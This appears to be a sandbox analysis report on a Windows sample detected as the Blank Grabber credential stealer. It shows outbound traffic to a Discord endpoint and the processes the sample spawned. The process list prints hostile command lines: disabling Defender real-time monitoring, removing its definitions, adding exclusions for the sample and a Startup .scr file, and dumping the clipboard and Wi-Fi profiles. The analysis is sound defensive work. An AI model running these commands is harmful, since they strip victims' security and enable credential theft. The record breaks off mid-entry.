2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 0e bd 42 43 4b c7 6d 4c 7b e7 ae 02 3d 7b 38 eb 4e 5b 4d bc 39 15 1a db 36 da 7b 08 eb e8 c0 78 28 e1 c0 1a 45 e8 72 47 c7 81 b3 11 d1 36 2a 97 3d 07 24 0e 2c ab 7b 45 49 7f d2 5c c2 d1 40 29 19 3b 4d 29 4e 3b fc 64 4d a6 11 76 ac 7d ef 63 60 c3 60 08 b5 c1 2b 4c 3d 78 25 8a 4d 18 45 8e 4c 97 1f 22 89 c4 a9 6a ff 34 fa 45 1f 03 2e d9 c2 67 6b a0 41 83 ef 4a 82 93 58 b2 b3 52 69 f7 93 33 50 69 72 9f b3 a3 7c 68 f8 ff d7 78 0a 11 b7 af 48 4e 60 36 75 07 e5 a6 a3 f5 f1 44 48 14 75 56 33 4c b6 27 b2 f7 d7 80 d0 78 01 3d f1 36 10 46 5e 97 78 a0 bf b7 96 0c 0b c0 c4 a6 6b 3c 03 99 0f a7 e4 4c db bd 45 fa 7c 1f 7a 4d ee 80 4b 33 9f 6a a5 c3 6e 56 8e 84 12 29 b3 3d ff de 18 2a d4 a9 f9 67 e9 d2 71 9e 53 35 32 b7 5d 7f e0 7d 8b cf a4 73 4a b1 c6 0c 89 9f 88 bf 13 Data Ascii: BCKmL{={8N[M96{x(ErG6=$,{EI\@);M)N;dMv}c``+L=x%MEL"j4E.gkAJXRi3Pir\|hxHN`6uDHuV3L'x=6F^xk<LE\|zMK3jnV)=gqS52]}sJ
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 50 6f 4d 76 29 c0 2f de bb e1 2a 57 b1 f3 72 e9 eb 50 81 31 6e fc 55 04 4a 5e 2e ed 04 46 01 e8 e0 6d de d0 55 3b 08 0e 4f b0 50 82 ef 30 b7 57 84 f9 41 c9 83 ef 46 0d 55 17 93 89 8b 8f 93 c0 ff 8f e5 25 38 87 27 a0 15 4a 97 f7 73 88 05 89 5c c6 09 f2 46 7b 66 7d 00 5d 65 9f f0 df 79 1f 75 d2 7d d7 9a bd d1 8f b1 21 d9 f8 62 b8 7b 20 31 4d b4 d0 46 fb 41 23 94 7d 24 25 18 34 fb 79 d6 7e b8 ab 24 85 54 89 ca 19 8b 5e 54 6c d4 ea f9 b0 80 20 9d f3 09 bc 07 59 e6 3d ba fe b9 ea 78 e6 62 3a b0 bb b5 fe f2 81 0a 4c 9e 2f a9 19 31 bf 22 54 d4 e2 43 26 35 2b 48 44 39 a9 3f 84 68 82 0b 8d f9 eb 53 e9 0f aa 3f 9c e2 21 69 2b 47 82 d0 6c 96 04 6d ff be 4d 6e d3 a9 b2 e1 41 3d 7f 96 21 e5 fc eb bc c3 47 ad 2d 8e e5 ae e6 09 31 03 6d c3 71 3a b7 ce 04 fc 58 61 8c 43 Data Ascii: PoMv)/*WrP1nUJ^.FmU;OP0WAFU%8'Js\F{f}]eyu}!b{ 1MFA#}$%4y~$T^Tl Y=xb:L/1"TC&5+HD9?hS?!i+GlmMnA=!G-1mq:XaC
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 6e 79 c5 bf 01 00 63 fb f1 95 9c de 72 52 82 7a 71 91 75 98 fe c9 64 26 06 1e c3 c1 76 d9 31 13 5f aa c2 af 24 d6 da 59 cb 18 d7 98 73 97 23 e0 20 17 10 d3 45 ad a4 7b df 54 2f e8 40 e5 a9 da c5 f8 7c 58 42 33 4d ca 51 3e 62 f3 42 00 dc 5e d7 75 c6 35 9d 31 b1 57 25 71 90 0a 81 d4 54 d1 e7 85 2f 73 24 6c c3 f3 7d af 2b 96 14 10 0a 9e f8 a4 48 5b f8 ee 9c cc d9 cf 8a b1 34 8b 80 95 7a a1 d9 92 1e 6d 66 15 04 1c 7a 41 51 39 fd 94 03 dd 9a f7 64 42 08 92 c3 ef 0c 5f 06 62 e2 2c 88 1d 76 f5 3e 24 ab af c7 7e d9 d6 07 81 da b5 ed 44 1d 7c 1c f7 8f ad 97 ec 4a f6 87 41 4b 4c 62 88 00 4f 06 0d 22 1e 68 89 14 a2 38 b8 3c c1 d6 aa 54 cb 55 d9 7b e3 6d 10 5f 94 73 be c4 4a b0 13 91 6a 46 1d 75 3d d1 ef be 54 fa 7f c0 dd e6 7f 6f 4d b6 df 9c d9 f5 77 0a 9e 01 74 77 Data Ascii: nycrRzqud&v1_$Ys# E{T/@\|XB3MQ>bB^u51W%qT/s$l}+H[4zmfzAQ9dB_b,v>$~D\|JAKLbO"h8<TU{m_sJjFu=ToMwtw
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 1d 9e dc 52 ea 02 89 84 45 72 66 54 db ad 31 3b 4d a9 fa db 7f 75 56 d3 c2 e2 47 e8 cb 00 24 51 f7 74 ea e0 08 4f 1f 81 28 31 f2 7e 6b e9 df 48 f0 d7 8a 7f 14 47 ef 1f f6 5f e1 64 ed 96 fc 4a ff 47 aa c7 96 5c de 08 b4 75 f6 cf c8 18 be 97 ea ea af 98 2e 2e 46 c9 28 8f 81 6a 9b ea 3b b7 be e4 25 2a 5b fd 34 c9 a4 ed 7b d8 eb 29 fd dc ce 4a 10 e7 13 28 12 e6 d3 d9 ff 25 b9 28 29 ab a8 69 93 c6 7c 5b 17 1b 51 5d 53 57 a7 df ee 1a 9b c1 d5 05 93 7e 35 3b ac 04 46 eb 75 f2 a1 95 60 bc e4 80 33 b4 93 69 b7 18 14 d5 3c 04 02 45 b2 09 15 54 f1 c9 bb 65 01 37 07 1f 3f ca 82 bd 13 1a 0b 6a 8e 1f ff 89 df 74 dd 96 1a ff 1b 2a 23 0f ba 09 2f 34 20 b8 49 1f 7b 8f 91 28 d5 20 54 3d 44 d1 bd e1 dd cc 7c ed 66 88 e7 3d d1 7d 3a e9 93 f5 fd d2 a1 23 18 9c 96 a3 0e b1 89 Data Ascii: RErfT1;MuVG$QtO(1~kHG_dJG\u..F(j;%[4{)J(%()i\|[Q]SW~5;Fu`3i<ETe7?jt#/4 I{( T=D\|f=}:#
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: de 5e 31 da 8f b1 93 e5 df b9 1a c6 73 c5 fe 10 67 4a 2d 1e a3 a0 74 84 e1 50 15 e9 d4 5e 92 54 aa e2 d7 cc d9 ad 84 98 c7 02 7d 28 4e 91 a7 36 ea ac 4d ef e3 7d 36 f3 b6 27 b2 33 e0 f7 51 8a d4 70 a5 56 91 c4 bb bd f6 a9 d6 1c 61 72 5a fb 5e 25 72 9a 8e e6 8b d6 b4 cc 87 84 11 f1 db d5 30 21 68 18 7f 34 93 56 d1 cc c7 aa 1f 6f 61 fb 91 97 51 43 99 10 18 f0 f6 8c 15 ce dd 9f 23 50 fa ab b1 1d 33 be ea a6 c2 b3 2e c6 96 1e 85 94 ce d2 58 e0 51 62 a8 08 33 bc a3 d5 5e 83 4f 4e 71 d9 66 0b 83 9b 69 73 df 0b 8b 42 8c 85 2b 2b 8b a6 c1 29 8c 01 47 e4 1c 50 1c e7 3d 66 42 28 78 7d 8c 6d be 1f 3f 25 44 b3 96 68 f1 11 67 28 fa 22 e8 df 56 4a 1b ab 52 67 29 92 07 a1 f5 86 f0 13 a0 13 9f f6 ed 5c 92 0d 4b 76 7c 24 10 7a c3 66 8a 85 e4 bb ab 31 92 ff ea 1a 8e 4e 3e Data Ascii: ^1sgJ-tP^T}(N6M}6'3QpVarZ^%r0!h4VoaQC#P3.XQb3^ONqfisB++)GP=fB(x}m?%Dhg("VJRg)\Kv\|$zf1N>
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 27 a3 9e f8 48 17 3b 85 1f 34 d0 1e a4 4f 83 3d 85 a1 9c 03 19 98 15 ba 4d e8 33 2b 57 ee a9 d1 2e 70 b6 90 e9 46 94 1d 07 1a 31 11 42 b2 c7 63 25 1e f0 40 fe 90 a5 2b 6f 17 24 f7 f8 dc e7 b9 89 ab 1e f2 f0 08 97 cf 1a 4f 59 59 01 03 f4 c9 ef 76 7a 43 0f 8e 0f 75 ca 8f 85 52 58 2c 28 30 4e de 57 47 90 b6 85 f2 d3 74 ad 57 f7 83 24 34 83 5a 5c 7d 70 4d f6 9d 80 90 96 d7 83 88 4d 3c 5e 0e 84 b3 fc b1 41 bc 48 f5 ae c5 e6 6e 87 42 b7 ea a4 25 ba 00 69 fa dc d4 fd 88 01 50 c4 d8 31 d7 9f 06 64 88 57 ce 4e c3 0b 0d 32 db e3 15 d4 12 08 95 7b 9d ea 7f a2 33 4a 24 79 55 5a c5 66 9d 32 30 d8 57 9b 0e 54 a1 ae 3e f8 70 68 51 0e a7 b8 37 65 6a 5b dd 01 cf 06 be e3 cb 26 ff 1e a5 96 22 63 77 46 21 93 b3 26 5b ad f3 53 7a e4 bd 36 ed b2 a0 59 58 c8 94 02 25 48 38 23 Data Ascii: 'H;4O=M3+W.pF1Bc%@+o$OYYvzCuRX,(0NWGtW$4Z\}pMM<^AHnB%iP1dWN2{3J$yUZf20WT>phQ7ej[&"cwF!&[Sz6YX%H8#
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 41 37 07 50 27 82 a6 8a c4 97 e2 18 6a 10 fd 49 97 0a e5 ae ee 5e 96 bb 88 79 d7 5e 41 2f 16 1e c0 94 a2 dc c0 3e 39 a5 aa 08 5f e0 9a 52 01 16 eb e2 1e a1 13 03 de 73 9d 02 b4 1a 0c dd 76 cc 70 2e ce f6 e3 02 4e 02 6f 6f b8 9d 3e 37 a2 c2 81 36 a9 25 7e ac 1b e9 cc dd 5a 99 ae e5 06 78 5e 98 65 d5 09 8c f0 9e 9c 39 53 ae cc aa 49 4f 9b 3d 33 ad 4d be a5 a5 c2 c4 bc 25 07 cf f5 3a d6 96 8e b6 d0 6d 2a 47 35 b2 c5 6c e8 11 13 d2 67 52 40 8f 59 60 84 4a f4 f9 0d c6 1e 68 c7 68 5d 24 c2 85 fd 8b 2e f3 61 2a f1 48 1a e6 66 0d 58 be 67 d4 76 35 1f 4e 86 6a cf 49 21 55 6a e0 84 08 a8 78 8a 58 cc 2a 1a cd 8f e4 b4 81 9a 08 76 d5 08 e5 d0 8f e7 45 ba b0 c0 85 18 8e 05 26 96 e4 35 be de 8c 34 1a 47 ab 82 02 30 6f 9b 82 92 da 4a b5 e3 ce cf 98 c3 1d 63 57 6c ce d3 Data Ascii: A7P'jI^y^A/>9_Rsvp.Noo>76%~Zx^e9SIO=3M%:mG5lgR@Y`Jhh]$.aHfXgv5NjI!UjxX*vE&54G0oJcWl
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 07 32 26 b9 fd fe f0 cb 3a 8c 90 ce f3 29 89 c3 2a 75 38 67 b8 1b fb bd 2c e8 6e ce 48 3a cc 2f 26 82 fb 4a f7 b8 14 cb 31 f6 0c e0 5e 55 b8 5b be 37 97 47 cc 7b 08 22 cf 1d 2e d1 4f 74 35 f9 1f 66 c9 cf d6 e7 4d 5e f9 15 f1 54 05 5c 34 ac 86 e3 b7 27 33 7e b6 ec 47 7e fd 28 4b 68 c5 41 bc 0d 9a 40 3d a3 26 49 0a de aa 15 6e 6a 8e c2 85 ba 19 f2 bb aa 0b 0a 87 ca 0b 09 ba a6 79 9c 13 a7 54 cc d2 ea 5b 72 f0 c6 1e 87 14 37 02 6b 75 2c e9 df 6e d1 c3 9a 54 46 2f e0 66 18 e7 a7 0b b7 61 65 d5 a3 c5 66 7b af 78 64 53 03 25 d6 99 ee 10 5d 95 82 03 8e c7 72 7b 90 ed b3 cb 32 62 90 da 26 40 fe 5f 71 7f cd 13 1b c5 5c 3e c1 d7 24 c7 42 86 4a 1c 3b 3a a7 e9 e7 dc f5 a4 b6 05 9e 37 05 3a dd f1 42 6d 67 c8 79 52 6d 47 80 4f d5 6c 35 ac f5 4c a3 2b 08 ee 1d 05 96 cc Data Ascii: 2&:)*u8g,nH:/&J1^U[7G{".Ot5fM^T\4'3~G~(KhA@=&InjyT[r7ku,nTF/faef{xdS%]r{2b&@_q\>$BJ;:7:BmgyRmGOl5L+
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 1d 87 a5 4e b3 46 4b f5 36 3e a3 40 a1 98 d7 dd ad 9e 95 b0 c7 39 d5 c7 bc 92 c4 56 31 db b4 c2 ea 61 42 31 eb ab a1 90 26 70 ac 0d 07 85 8d e3 d0 4a 51 41 98 cb e8 eb a8 46 4d 00 da 26 e6 fc b1 0e 05 28 ec a8 32 39 a8 d9 e9 e9 e3 ba c5 bc c2 d0 ae 22 3b 23 76 d9 4a b0 29 77 65 e0 25 a2 f6 4b c7 29 7a ef 0d 65 2c 43 6f e2 9c e9 18 da cb 1f f0 4b b4 80 7a 39 87 b6 0b d7 b7 32 fe 7b c4 42 f8 0e 5a 47 5c 46 c4 4f cd 21 e1 50 75 6b c7 9a 38 86 eb 08 a2 f7 7d 9e b1 e3 b3 73 05 0f 0d 13 b5 2c ea 5f b2 44 7e 44 96 87 4d 81 ad a0 99 67 d3 bc e9 94 eb 44 f5 51 ea e4 26 27 74 7b 77 e6 75 c0 ab 0d e1 27 40 a2 9b aa 8a 84 de da 62 55 ab 89 63 00 e8 b8 7d de 5a 18 6b b9 c0 8f 2d 69 e3 d4 db 21 4d c3 93 1c ce bb 90 3b 5c b6 1c 32 5d 98 81 7b a3 3a 62 f1 36 0e 76 c6 1b Data Ascii: NFK6>@9V1aB1&pJQAFM&(29";#vJ)we%K)ze,CoKz92{BZG\FO!Puk8}s,_D~DMgDQ&'t{wu'@bUc}Zk-i!M;\2]{:b6v
2025-01-04 08:42:36 UTC	1251	IN	HTTP/1.1 404 Not Found Date: Sat, 04 Jan 2025 08:42:36 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1735980157 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vZ14Lq5OBiciWTSQo3QtMCr%2F8X6cwJ9wf3eutoNvbb0uAqGNSo93Y2pDbjSfnVuwbbq1AS6zHs60gYT3NmAAz1hSRLLxOhdM29NfzXgzgGlPkE51o6SRN96372NZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=98f474b5012690ed569d92fa502bc01aa033d261-1735980156; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=MA7Uo7Wyd9dNQPITj.qM1rxHYjgtZpUmTVK4E25GdQk-1735980156106-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8fc9efa42c6e176c-EWR

Target ID:	0
Start time:	03:41:58
Start date:	04/01/2025
Path:	C:\Users\user\Desktop\9g9LZNE4bH.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\9g9LZNE4bH.exe"
Imagebase:	0x7ff78da50000
File size:	7'186'035 bytes
MD5 hash:	03BB5937FB7B74837DA488B2278D0811
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.2028897385.000001A5F3614000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.2028897385.000001A5F3616000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:41:58
Start date:	04/01/2025
Path:	C:\Users\user\Desktop\9g9LZNE4bH.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\9g9LZNE4bH.exe"
Imagebase:	0x7ff78da50000
File size:	7'186'035 bytes
MD5 hash:	03BB5937FB7B74837DA488B2278D0811
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.2395753264.000001F12B202000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.2396649299.000001F12B202000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.2395270624.000001F12B657000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000002.2400386354.000001F12B208000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:42:00
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:42:00
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:42:00
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:42:00
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:42:01
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:42:01
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:42:01
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:42:01
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:42:01
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:42:02
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:42:02
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7280, Parent PID: 7240

General

Target ID:	14
Start time:	03:42:02
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:42:02
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:42:02
Start date:	04/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff642e70000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:42:02
Start date:	04/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff642e70000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7512, Parent PID: 5860

General

Target ID:	20
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
